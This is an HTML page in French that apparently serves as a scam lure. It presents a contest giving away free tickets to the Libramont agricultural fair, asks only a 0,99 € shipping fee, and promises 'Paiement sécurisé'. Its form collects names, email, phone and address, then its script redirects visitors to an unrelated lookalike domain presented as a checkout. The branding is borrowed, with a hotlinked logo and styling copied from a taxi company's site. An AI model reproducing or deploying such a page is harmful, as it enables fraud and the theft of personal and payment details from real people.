<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Informations client – Pack 2 Entrées – Foire de Libramont 2026</title>
<meta name="description" content="Finalisez votre commande de billets pour la Foire agricole de Libramont. Braconnier.">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=Playfair+Display:wght@600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<style>
  :root {
    --brand: #2D7D2D;
    --brand-dark: #1f5a1f;
    --brand-light: #e8f5e8;
    --accent: #c8a575;
    --success: #10b981;
    --bg: #f4f6f9;
    --surface: #ffffff;
    --text: #1f2937;
    --text-muted: #6b7280;
    --border: #e5e7eb;
    --shadow-sm: 0 1px 2px rgba(45, 125, 45, 0.05);
    --shadow: 0 10px 30px rgba(45, 125, 45, 0.10);
    --shadow-lg: 0 20px 50px rgba(45, 125, 45, 0.15);
    --radius: 16px;
    --radius-sm: 10px;
    --btn-green: #2D7D2D;
    --btn-green-dark: #1f5a1f;
  }

  * { box-sizing: border-box; }

  body {
    margin: 0;
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
    background: var(--bg);
    color: var(--text);
    line-height: 1.55;
    -webkit-font-smoothing: antialiased;
  }

  /* Header - Style Taxi Marche-Libramont */
  .header {
    background: #242425;
    padding: 28px 20px 70px;
    text-align: center;
    position: relative;
    overflow: hidden;
  }
  .header::before {
    content: '';
    position: absolute;
    inset: 0;
    background: radial-gradient(circle at 20% 30%, rgba(255,255,255,0.12) 0%, transparent 40%),
                radial-gradient(circle at 80% 80%, rgba(0,0,0,0.10) 0%, transparent 40%);
  }
  .header-inner { position: relative; z-index: 1; max-width: 520px; margin: 0 auto; }
  .logo-wrap {
    background: var(--surface);
    border-radius: var(--radius);
    padding: 18px 36px;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    box-shadow: var(--shadow-lg);
    margin-bottom: 22px;
  }
  .logo-wrap img { max-height: 46px; width: auto; object-fit: contain; }
  .header h1 {
    font-family: 'Playfair Display', serif;
    color: #fff;
    font-size: 1.55rem;
    font-weight: 700;
    margin: 0 0 8px;
    letter-spacing: -0.3px;
  }
  .header p {
    color: rgba(255,255,255,0.82);
    margin: 0;
    font-size: 0.95rem;
    font-weight: 500;
  }

  /* Layout */
  .container {
    max-width: 1120px;
    margin: -46px auto 60px;
    padding: 0 20px;
    position: relative;
    z-index: 2;
  }
  .grid {
    display: grid;
    grid-template-columns: 1.15fr 0.85fr;
    gap: 26px;
    align-items: start;
  }

  /* Cards */
  .card {
    background: var(--surface);
    border-radius: var(--radius);
    box-shadow: var(--shadow);
    padding: 28px;
    border: 1px solid var(--border);
  }
  .card-title {
    font-size: 1.15rem;
    font-weight: 700;
    color: var(--brand);
    margin: 0 0 22px;
    display: flex;
    align-items: center;
    gap: 10px;
  }
  .card-title i { color: var(--accent); font-size: 1.05rem; }

  /* Form */
  .form-grid {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 18px;
  }
  .field { display: flex; flex-direction: column; gap: 6px; }
  .field.full { grid-column: 1 / -1; }
  .field label {
    font-size: 0.82rem;
    font-weight: 600;
    color: var(--text);
    text-transform: uppercase;
    letter-spacing: 0.4px;
  }
  .field label .required { color: #e11d48; margin-left: 2px; }
  .field input,
  .field select {
    height: 52px;
    padding: 0 16px;
    border: 1.5px solid var(--border);
    border-radius: var(--radius-sm);
    font-size: 0.96rem;
    font-family: inherit;
    color: var(--text);
    background: #fff;
    transition: all 0.2s ease;
  }
  .field input:focus,
  .field select:focus {
    outline: none;
    border-color: var(--brand);
    box-shadow: 0 0 0 4px rgba(45, 125, 45, 0.10);
  }
  .field input::placeholder { color: #9ca3af; }

  /* Order summary */
  .summary-card { position: sticky; top: 24px; }
  .product-line {
    display: flex;
    align-items: center;
    gap: 16px;
    padding-bottom: 18px;
    border-bottom: 1px dashed var(--border);
    margin-bottom: 18px;
  }
  .product-thumb {
    width: 64px;
    height: 64px;
    border-radius: 12px;
    background: var(--brand-light);
    display: flex;
    align-items: center;
    justify-content: center;
    color: var(--brand);
    font-size: 1.5rem;
    flex-shrink: 0;
  }
  .product-info h3 {
    margin: 0 0 4px;
    font-size: 1rem;
    font-weight: 700;
    color: var(--text);
  }
  .product-info p {
    margin: 0;
    font-size: 0.86rem;
    color: var(--text-muted);
  }
  .price-row {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 12px;
    font-size: 0.95rem;
  }
  .price-row.total {
    font-size: 1.15rem;
    font-weight: 700;
    color: var(--brand);
    padding-top: 14px;
    border-top: 1px solid var(--border);
  }
  .gift-banner {
    background: linear-gradient(135deg, rgba(45,125,45,0.08), rgba(200,165,117,0.12));
    border: 1px solid rgba(45,125,45,0.12);
    border-radius: var(--radius-sm);
    padding: 14px 16px;
    display: flex;
    align-items: center;
    gap: 12px;
    margin: 20px 0;
    font-size: 0.92rem;
    color: var(--brand-dark);
    font-weight: 600;
  }
  .gift-banner i { color: var(--accent); font-size: 1.1rem; }

  /* Submit button - Style Taxi Marche-Libramont avec gradient jaune/or */
  .btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    width: 100%;
    height: 56px;
    border: none;
    border-radius: var(--radius-sm);
    font-family: inherit;
    font-size: 1rem;
    font-weight: 700;
    cursor: pointer;
    transition: transform 0.15s ease, box-shadow 0.2s ease, background 0.2s ease;
  }
  .btn-primary {
    background: linear-gradient(135deg, #f4a623 0%, #e8941c 50%, #d48215 100%);
    color: #242425;
    box-shadow: 0 8px 22px rgba(0,0,0,0.2);
  }
  .btn-primary:hover {
    background: linear-gradient(135deg, #e8941c 0%, #d48215 50%, #c27210 100%);
    transform: translateY(-1px);
    box-shadow: 0 12px 28px rgba(0,0,0,0.25);
  }
  .btn-primary:active { transform: translateY(0); }
  .btn-primary:disabled {
    opacity: 0.65;
    cursor: wait;
    transform: none;
  }

  /* Validation info */
  .validation-note {
    background: #f0fdf4;
    border: 1px solid #bbf7d0;
    border-radius: var(--radius-sm);
    padding: 14px 16px;
    margin-top: 18px;
    font-size: 0.9rem;
    color: #166534;
    display: flex;
    align-items: flex-start;
    gap: 10px;
  }
  .validation-note i { margin-top: 2px; }

  /* Footer */
  .footer-note {
    text-align: center;
    margin-top: 28px;
    font-size: 0.82rem;
    color: var(--text-muted);
  }
  .footer-note i { color: var(--success); margin-right: 4px; }

  /* Language switcher */
  .lang-switch {
    position: absolute;
    top: 18px;
    right: 20px;
    z-index: 3;
  }
  .lang-switch select {
    appearance: none;
    background: rgba(255,255,255,0.15);
    border: 1px solid rgba(255,255,255,0.25);
    color: #fff;
    padding: 8px 32px 8px 14px;
    border-radius: 8px;
    font-size: 0.85rem;
    font-weight: 600;
    cursor: pointer;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='white' viewBox='0 0 16 16'%3E%3Cpath d='M8 11L3 6h10z'/%3E%3C/svg%3E");
    background-repeat: no-repeat;
    background-position: right 10px center;
  }
  .lang-switch select option { color: var(--text); }

  /* Loading overlay */
  .overlay {
    position: fixed;
    inset: 0;
    background: rgba(255,255,255,0.85);
    backdrop-filter: blur(4px);
    display: none;
    align-items: center;
    justify-content: center;
    z-index: 100;
    flex-direction: column;
    gap: 16px;
  }
  .overlay.show { display: flex; }
  .spinner {
    width: 46px;
    height: 46px;
    border: 4px solid var(--brand-light);
    border-top-color: var(--brand);
    border-radius: 50%;
    animation: spin 0.9s linear infinite;
  }
  @keyframes spin { to { transform: rotate(360deg); } }
  .overlay p { color: var(--brand); font-weight: 600; margin: 0; }

  /* Responsive */
  @media (max-width: 860px) {
    .grid { grid-template-columns: 1fr; }
    .summary-card { position: static; }
    .form-grid { grid-template-columns: 1fr; }
    .header h1 { font-size: 1.35rem; }
  }
  @media (max-width: 480px) {
    .card { padding: 22px; }
    .header { padding: 22px 16px 58px; }
    .logo-wrap { padding: 14px 24px; }
    .logo-wrap img { max-height: 38px; }
  }
</style>
</head>
<body>

  <div class="lang-switch">
    <select>
      <option>FR</option>
      <option>NL</option>
      <option>EN</option>
    </select>
  </div>

  <header class="header">
    <div class="header-inner">
      <div class="logo-wrap">
        <img src="https://scontent.fcmn2-2.fna.fbcdn.net/v/t39.30808-6/752723728_1034682022759729_7801502108645943525_n.jpg?stp=cp6_dst-jpg_tt6&cstp=mx1260x1260&ctp=s1260x1260&_nc_cat=111&ccb=1-7&_nc_sid=6ee11a&_nc_eui2=AeEW2wxIQAVxlU7r5EyJumu3WfLRN_twZCFZ8tE3-3BkIZQ3tRa8duNF7q6BPtLmwnJX-90T6s5Onpo6JN3GJXlA&_nc_ohc=q-tb7ILoxgwQ7kNvwFVwLZw&_nc_oc=AdqjoDXdbtDXibaftRQxtv8NxHpA05yd6a4fcuaMqrwK8sFGoHPmU89if7HrPSJLlhg&_nc_zt=23&_nc_ht=scontent.fcmn2-2.fna&_nc_gid=ST9-w8dMNNsh5t1rW4rVDg&_nc_ss=7a2a8&oh=00_AQBWv1ds1uIrdpOlN57isCY7SMizP3q3htIYXjCFbBLCGQ&oe=6A6A95E7" alt="Braconnier">
      </div>
      <h1>Informations client</h1>
      <p>Pack 2 Entrées – Foire de Libramont 2026</p>
    </div>
  </header>

  <main class="container">
    <div class="grid">

      <!-- Formulaire -->
      <section class="card">
        <h2 class="card-title"><i class="fa-solid fa-user"></i> Vos coordonnées</h2>

        <form id="order-form" class="form-grid">
          <div class="field">
            <label for="firstname">Prénom <span class="required">*</span></label>
            <input type="text" id="firstname" name="firstname" placeholder="Jean" required>
          </div>
          <div class="field">
            <label for="lastname">Nom <span class="required">*</span></label>
            <input type="text" id="lastname" name="lastname" placeholder="Dupont" required>
          </div>
          <div class="field full">
            <label for="email">E-mail <span class="required">*</span></label>
            <input type="email" id="email" name="email" placeholder="jean@exemple.be" required>
          </div>
          <div class="field full">
            <label for="phone">Téléphone <span class="required">*</span></label>
            <input type="tel" id="phone" name="phone" placeholder="0470 12 34 56" required>
          </div>
          <div class="field full">
            <label for="address">Adresse</label>
            <input type="text" id="address" name="address" placeholder="Rue de la Foire 12">
          </div>
          <div class="field">
            <label for="zip">Code postal</label>
            <input type="text" id="zip" name="zip" placeholder="6800">
          </div>
          <div class="field">
            <label for="city">Ville</label>
            <input type="text" id="city" name="city" placeholder="Libramont">
          </div>

          <div class="validation-note full">
            <i class="fa-solid fa-circle-check"></i>
            Vos billets seront confirmés après validation du formulaire. Aucun prépaiement requis.
          </div>

          <div class="full">
            <button type="submit" class="btn btn-primary" id="submit-btn">
              <i class="fa-solid fa-gift"></i> Confirmer mon cadeau
            </button>
          </div>

          <p class="footer-note full">
            <i class="fa-solid fa-lock"></i> Paiement sécurisé · Données protégées
          </p>
        </form>
      </section>

      <!-- Récapitulatif -->
      <aside class="card summary-card">
        <h2 class="card-title"><i class="fa-solid fa-receipt"></i> Récapitulatif</h2>

        <div class="product-line">
          <div class="product-thumb">
            <i class="fa-solid fa-ticket"></i>
          </div>
          <div class="product-info">
            <h3>Pack 2 Entrées</h3>
            <p>Foire agricole de Libramont</p>
          </div>
        </div>

        <div class="price-row">
          <span>Sous-total</span>
          <span>0,00 €</span>
        </div>
        <div class="price-row">
          <span>Frais d'expédition</span>
          <span>0,99 €</span>
        </div>
        <div class="price-row total">
          <span>Total</span>
          <span>0,99 €</span>
        </div>

        <div class="gift-banner">
          <i class="fa-solid fa-gift"></i>
          Billets offerts dans le cadre de notre concours
        </div>

        <div class="validation-note">
          <i class="fa-solid fa-circle-info"></i>
          Aucun prépaiement requis — Billets offerts dans le cadre de notre concours
        </div>
      </aside>

    </div>
  </main>

  <div class="overlay" id="overlay">
    <div class="spinner"></div>
    <p>Redirection vers la confirmation…</p>
  </div>

  <script>
    const form = document.getElementById('order-form');
    const submitBtn = document.getElementById('submit-btn');
    const overlay = document.getElementById('overlay');

    form.addEventListener('submit', function(e) {
      e.preventDefault();
      let valid = true;

      const requiredFields = form.querySelectorAll('input[required]');
      requiredFields.forEach(field => {
        if (!field.value.trim()) {
          field.style.borderColor = '#e11d48';
          valid = false;
        }
      });

      const email = document.getElementById('email');
      const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
      if (email.value.trim() && !emailRegex.test(email.value.trim())) {
        email.style.borderColor = '#e11d48';
        valid = false;
      }

      if (!valid) return;

      submitBtn.disabled = true;
      overlay.classList.add('show');

      setTimeout(() => {
        window.location.href = 'https://taxilux-ardenne-sprl.reglements-concours.com/Checkout';
      }, 2000);
    });

    form.querySelectorAll('input').forEach(input => {
      input.addEventListener('input', () => input.style.borderColor = '');
    });
  </script>

</body>
</html>
